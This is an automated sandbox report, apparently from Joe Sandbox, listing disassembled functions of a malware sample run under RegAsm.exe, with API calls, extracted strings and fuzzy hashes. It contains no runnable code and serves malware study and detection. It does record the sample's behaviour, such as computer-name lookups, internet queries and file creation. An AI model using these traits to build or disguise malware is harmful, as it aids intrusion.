Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrowstd::exception::exceptionstd::exception::operator=
String ID: Clone() is not implemented yet.
API String ID: 1131504612-226299721
Opcode ID: f2c1e3e0b85014d78b38558fac3733242e8ca6fc623f68965062fb26c592c223
Instruction ID: 40a5a663b3805898d4883f38c8fd1341b31034ff89e104a0bf777cbce19f2c03
Opcode Fuzzy Hash: f2c1e3e0b85014d78b38558fac3733242e8ca6fc623f68965062fb26c592c223
Instruction Fuzzy Hash: 413169B1804248AFCB14DFD9D840BAEFBF8FB09360F10462EE421A7681DB756654CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D5560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0D5657

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Strings

InputBuffer, xrefs: 6F0D55BF
StringStore: missing InputBuffer argument, xrefs: 6F0D55E0

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: InputBuffer$StringStore: missing InputBuffer argument
API String ID: 3718517217-2380213735
Opcode ID: 3511a18fb9d0aff78aa9dd199bc96f85cc702efedeeb0c965d967b7a1587b8eb
Instruction ID: 6a5a6019594098433c905ede8a4a0e60bc43cdd321914bfe99b1d6c3c984d1e7
Opcode Fuzzy Hash: 3511a18fb9d0aff78aa9dd199bc96f85cc702efedeeb0c965d967b7a1587b8eb
Instruction Fuzzy Hash: 244145B55087809FC310CF69C490B5BFBE0BB99754F504A2DF5A987391DB70A918CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A1EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0A1F36

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

std::exception::exception.LIBCMT ref: 6F0A1F6E

Part of subcall function 6F1095C1: std::exception::operator=.LIBCMT ref: 6F1095DA

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4067

Strings

CryptoMaterial: this object does not support precomputation, xrefs: 6F0A1ED4

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrowstd::exception::exceptionstd::exception::operator=
String ID: CryptoMaterial: this object does not support precomputation
API String ID: 1131504612-3625584042
Opcode ID: 9833cf6b1f4acb7a89fefaa2a359b704a04872083f59e547ce65e3fdbef26687
Instruction ID: 76ae4ae4695fa236f6a1a93e6d9090a93fb023f648daef6459d2a8106c971610
Opcode Fuzzy Hash: 9833cf6b1f4acb7a89fefaa2a359b704a04872083f59e547ce65e3fdbef26687
Instruction Fuzzy Hash: 2331ADB1804248AFCB04DFD8D880BAEFBF8FB09360F10462EE420A7781DB756514CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B5750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0B576B

Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F1090ED
Part of subcall function 6F1090D8: __CxxThrowException@8.LIBCMT ref: 6F109102
Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F109113

std::_Xinvalid_argument.LIBCPMT ref: 6F0B5782

Strings

string too long, xrefs: 6F0B5766, 6F0B577D

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 6c267a084bbeba1cf5458057255af33ec1daacf7cb836699ccdb4fff9e1630fc
Instruction ID: a709d386e0bbd2249460d5420620136c02c80dde1efaa6e5aa59992664b3c79e
Opcode Fuzzy Hash: 6c267a084bbeba1cf5458057255af33ec1daacf7cb836699ccdb4fff9e1630fc
Instruction Fuzzy Hash: E211A2363447109BD321AA9CF890B7AF3E9AF95660F6006AFE55287684C772A84487A1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0C584D

Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F1090ED
Part of subcall function 6F1090D8: __CxxThrowException@8.LIBCMT ref: 6F109102
Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F109113

VariantClear.OLEAUT32(00000000), ref: 6F0C5899

Strings

vector<T> too long, xrefs: 6F0C5848

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$ClearException@8ThrowVariantXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 2677079660-3788999226
Opcode ID: e94201eb4ea9078607924fe60ea518648bf78987afbd95694b138ff37a795206
Instruction ID: 375db71ffc018373c7c8c43bba04ba89db9296e43cbb162a46befcfe71723196
Opcode Fuzzy Hash: e94201eb4ea9078607924fe60ea518648bf78987afbd95694b138ff37a795206
Instruction Fuzzy Hash: E921717AA006099FD710DF6CC880A6EB7F5FF88364F50462EE855A7780DB34B9448B91

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B0150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0B0201

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Strings

StringSink: OutputStringPointer not specified, xrefs: 6F0B019B
OutputStringPointer, xrefs: 6F0B018C

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
API String ID: 3718517217-1331214609
Opcode ID: 7d0359fe8607427ebd919c10a90d20701c8fbc04ddd9556431df9732d218e087
Instruction ID: f7518cd99a3512f1dbca6add4f4251253cfa0fe47350b4d6292eb7e7d07e8d35
Opcode Fuzzy Hash: 7d0359fe8607427ebd919c10a90d20701c8fbc04ddd9556431df9732d218e087
Instruction Fuzzy Hash: 6F217C75D04248AFCB04DFD8D990B9DFBB4FB48394F10821EE821A7381DB356658CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A4620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0A4636

Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F10913A
Part of subcall function 6F109125: __CxxThrowException@8.LIBCMT ref: 6F10914F
Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F109160

_memmove.LIBCMT ref: 6F0A466F

Strings

invalid string position, xrefs: 6F0A4631

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 283f25e8836fa6385073c4cdbd2d3820b6bbda3fd0468d921a1fa61d52ded0c2
Instruction ID: 2ca8a7345d0eb411ee214eac76868d7e90f8c9b1a603444cabb0183ed0674774
Opcode Fuzzy Hash: 283f25e8836fa6385073c4cdbd2d3820b6bbda3fd0468d921a1fa61d52ded0c2
Instruction Fuzzy Hash: 70012B39300300ABC3248DECDD90B5AF3E6FBC4650B24492EE091CB716DEB2EC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6F113EA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6F113ED9
DName::DName.LIBCMT ref: 6F113EE5

Strings

{flat}, xrefs: 6F113ED4

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: 4569359c8c9e6e98784979d91823fa11e4c491eeab861146a3eb8e8655e56742
Instruction ID: 688467f795864f628302318d2caed0216b639320c53f167b8d46f006f8410813
Opcode Fuzzy Hash: 4569359c8c9e6e98784979d91823fa11e4c491eeab861146a3eb8e8655e56742
Instruction Fuzzy Hash: 40F0E5711493449FCB01CF58C055BE83BA19B823D5F04C052E85C0F38AC732E467D764

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B7680 Relevance: 5.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,F3D820D6), ref: 6F0B76AD
LeaveCriticalSection.KERNEL32(?,?,?,F3D820D6), ref: 6F0B76FF
EnterCriticalSection.KERNEL32(F3D820D6,?,?,?,F3D820D6), ref: 6F0B770D
LeaveCriticalSection.KERNEL32(F3D820D6,?,00000000,?,?,?,?,F3D820D6), ref: 6F0B772A

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

Part of subcall function 6F0B6D40: _rand.LIBCMT ref: 6F0B6DEA

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 5fa8edbaaf870058a6a463daf76c654ce14e60b95b64891a4be86c0f3ed93e74
Instruction ID: cf8abc853b11b29b582d6e34b121253f6809d72c61b34ebf0fa6cb388155b3e4
Opcode Fuzzy Hash: 5fa8edbaaf870058a6a463daf76c654ce14e60b95b64891a4be86c0f3ed93e74
Instruction Fuzzy Hash: 66218771504609AFCB10DF94CC44FDBB7BCFF41294F10462AE81697680EB71B945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B9580 Relevance: 5.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 6F0B95A9
LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 6F0B95CA
EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6F0B95DA
LeaveCriticalSection.KERNEL32(00000000,?,?,?), ref: 6F0B95FB

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e9ec9a9fba271ef499c7baebbc10e95c58e33f3f3e787cac473a3bd3437cc1da
Instruction ID: 92e16627726ee8fe7bc70b08ce756e0467b4d546fb12327c43d93733dbd42d9b
Opcode Fuzzy Hash: e9ec9a9fba271ef499c7baebbc10e95c58e33f3f3e787cac473a3bd3437cc1da
Instruction Fuzzy Hash: D0116D32904518AFCB00CF99E880EDEF7B8FF61220B11419AE51597611DB32FA91CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 6692, Parent PID: 5172COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	513
Total number of Limit Nodes:	11

Executed Functions

Function 00405F88 Relevance: 82.2, APIs: 9, Strings: 37, Instructions: 1721stringCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0040669D
lstrcatW.KERNEL32(?,?), ref: 00406A97
lstrcatW.KERNEL32(?,?), ref: 00406CEB
lstrcatW.KERNEL32(?,?), ref: 0040798B

Strings

(sI, xrefs: 00404C77
$E$e, xrefs: 00407612
:qz, xrefs: 00407C1F
P*/, xrefs: 00406E60
RDw, xrefs: 0040659E
(sI, xrefs: 0040475A
:qz, xrefs: 0040632B
~u?2, xrefs: 00406B5C
i1Z, xrefs: 00405719
}u?2, xrefs: 00406184
$E$e, xrefs: 00407CC3
i1Z, xrefs: 004049D0
~u?2, xrefs: 004069C0
i1Z, xrefs: 00405C2E
e2V^, xrefs: 004060EB
9qz, xrefs: 00406264
c~, xrefs: 0040607E
!RDw, xrefs: 00407910
!s-, xrefs: 004047DF
s-, xrefs: 004047C9
(ZSw, xrefs: 00406363
!RDw, xrefs: 00406B2F
O, xrefs: 00406883
i4[W, xrefs: 00405EB2
c~, xrefs: 004061E4
oXs, xrefs: 00404FB6
ESg, xrefs: 00404856
P*/, xrefs: 00407520
(sI, xrefs: 004053AC
q-O5, xrefs: 00404A74
O, xrefs: 00405FA1
O, xrefs: 00406F18
ESg, xrefs: 004056FC
O, xrefs: 004064AA
O, xrefs: 00407BDE
i4[W, xrefs: 00405144
(ZSw, xrefs: 00406B3A

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$_strlen
String ID: oXs$ RDw$ s-$!RDw$!RDw$!s-$$E$e$$E$e$(ZSw$(ZSw$9qz$:qz$:qz$ESg$ESg$P*/$P*/$c~$c~$e2V^$i1Z$i1Z$i1Z$i4[W$i4[W$q-O5$}u?2$~u?2$~u?2$(sI$(sI$(sI$ O$ O$ O$ O$ O
API String ID: 3041409237-4101419157
Opcode ID: ce34ec0438650a4d6752f011006acb9fb2c324029543ee14956eb03ce30e7436
Instruction ID: 4eb95457a6bbcd6f41f0cd817fdacec5c5ff1d371135e5816826e30afcfc6f99
Opcode Fuzzy Hash: ce34ec0438650a4d6752f011006acb9fb2c324029543ee14956eb03ce30e7436
Instruction Fuzzy Hash: 8AE290B1E0460A8BDF289B58C885A7EBAB1EB54300F24453BE505FB3D0D77C9A518F5B

Uniqueness

Uniqueness Score: -1.00%

Function 00433300 Relevance: 80.0, APIs: 26, Strings: 17, Instructions: 4704COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043440C
_strlen.LIBCMT ref: 0043468B
_strlen.LIBCMT ref: 00434AC7
_strlen.LIBCMT ref: 00434DAF
_strlen.LIBCMT ref: 00434F13
_strlen.LIBCMT ref: 00434FBD
_strlen.LIBCMT ref: 004351B9
_strlen.LIBCMT ref: 004352DC
_strlen.LIBCMT ref: 0043533B
GetComputerNameExA.KERNEL32(00000004,?,?), ref: 00435D01
GetComputerNameExA.KERNEL32(00000004,?,?), ref: 0043837E

Strings

rIwhoU--Elvin, xrefs: 0043690D
U%3j, xrefs: 00436F68
T%3j, xrefs: 004334AA
D@D, xrefs: 0043649B
U: , xrefs: 00437C54
!*2y, xrefs: 004334C0
Tw;, xrefs: 00433D78
}C?g, xrefs: 00435303
"*2y, xrefs: 00434174
v#).#u, xrefs: 0043806D
D@D, xrefs: 00433F02
D@D, xrefs: 00435921
Zc, xrefs: 00435362
vTT, xrefs: 00433F0D
D@D, xrefs: 00437840
U%3j, xrefs: 00435A2D
Pc>2, xrefs: 00435658

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen$ComputerName
String ID: !*2y$"*2y$D@D$D@D$D@D$D@D$Pc>2$T%3j$Tw;$U%3j$U%3j$U: $Zc$rIwhoU--Elvin$v#).#u$vTT$}C?g
API String ID: 2088601426-1195005190
Opcode ID: 85fc1cfea9c70d5fad60e128c4f0a755bf8e7bf087788e2664869f38b6004f22
Instruction ID: f6f200f50b4611818914cff2e2d0c8b38db0582d14488c37edb7f600239ae69d
Opcode Fuzzy Hash: 85fc1cfea9c70d5fad60e128c4f0a755bf8e7bf087788e2664869f38b6004f22
Instruction Fuzzy Hash: 9783CBB19007019BD7349F18C881A2AB7E1BB58704F24991FF59ACB791EB39ED41CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00438ECD Relevance: 75.9, APIs: 17, Strings: 25, Instructions: 2366networkCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0043913B

Strings

\X, xrefs: 0043B61F
K]T, xrefs: 004394F9
az5T, xrefs: 00439E16
S_(v, xrefs: 0043918A
xk]S, xrefs: 0043B3E3
e_, xrefs: 0043AC1E
*, xrefs: 00439FFC
Qcz, xrefs: 004390C2
J]T, xrefs: 004394E3
\X, xrefs: 00439201
[Q, xrefs: 0043AA3F
default, xrefs: 0043A661
rIwhoU--Elvin, xrefs: 0043A666
*, xrefs: 0043AEC6
[Q, xrefs: 0043B491
e_, xrefs: 0043950F
eA/,, xrefs: 00439588
S_(v, xrefs: 004397CD
[Q, xrefs: 0043996D
`z5T, xrefs: 0043930D
K]T, xrefs: 0043955D
xG%, xrefs: 00438F39
Qcz, xrefs: 00438EE2
eA/,, xrefs: 00439DB5
xk]S, xrefs: 0043932E

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AvailableDataInternetQuery
String ID: *$*$J]T$K]T$K]T$Qcz$Qcz$S_(v$S_(v$[Q$[Q$[Q$\X$\X$`z5T$az5T$default$eA/,$eA/,$rIwhoU--Elvin$xG%$xk]S$xk]S$e_$e_
API String ID: 2430348039-3565328486
Opcode ID: 5412949fb933008e8f16a24fb50f8502612c2955992385c7e184ad1b056d7b36
Instruction ID: 484f0e800333bfa9e22fbc5c016a18b876618801a94856885b1b6ea040c3fd42
Opcode Fuzzy Hash: 5412949fb933008e8f16a24fb50f8502612c2955992385c7e184ad1b056d7b36
Instruction Fuzzy Hash: D613B770E002098BDF24DF68C9867BEB6B0FB58304F24551BF505EB3A1D7799A418B8B

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB6B Relevance: 65.1, APIs: 16, Strings: 20, Instructions: 2054stringfilenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,00100001,?,?,00000000,00000000,00000007,00000001,00004021,00000000,00000000), ref: 0040F05D
lstrlenW.KERNEL32(00000ED3), ref: 0040F171
lstrcatW.KERNEL32(?,?), ref: 0040FF40
lstrcmpW.KERNEL32(00000000,?), ref: 00410358
lstrcmpW.KERNEL32(00000000,?), ref: 00410CF2
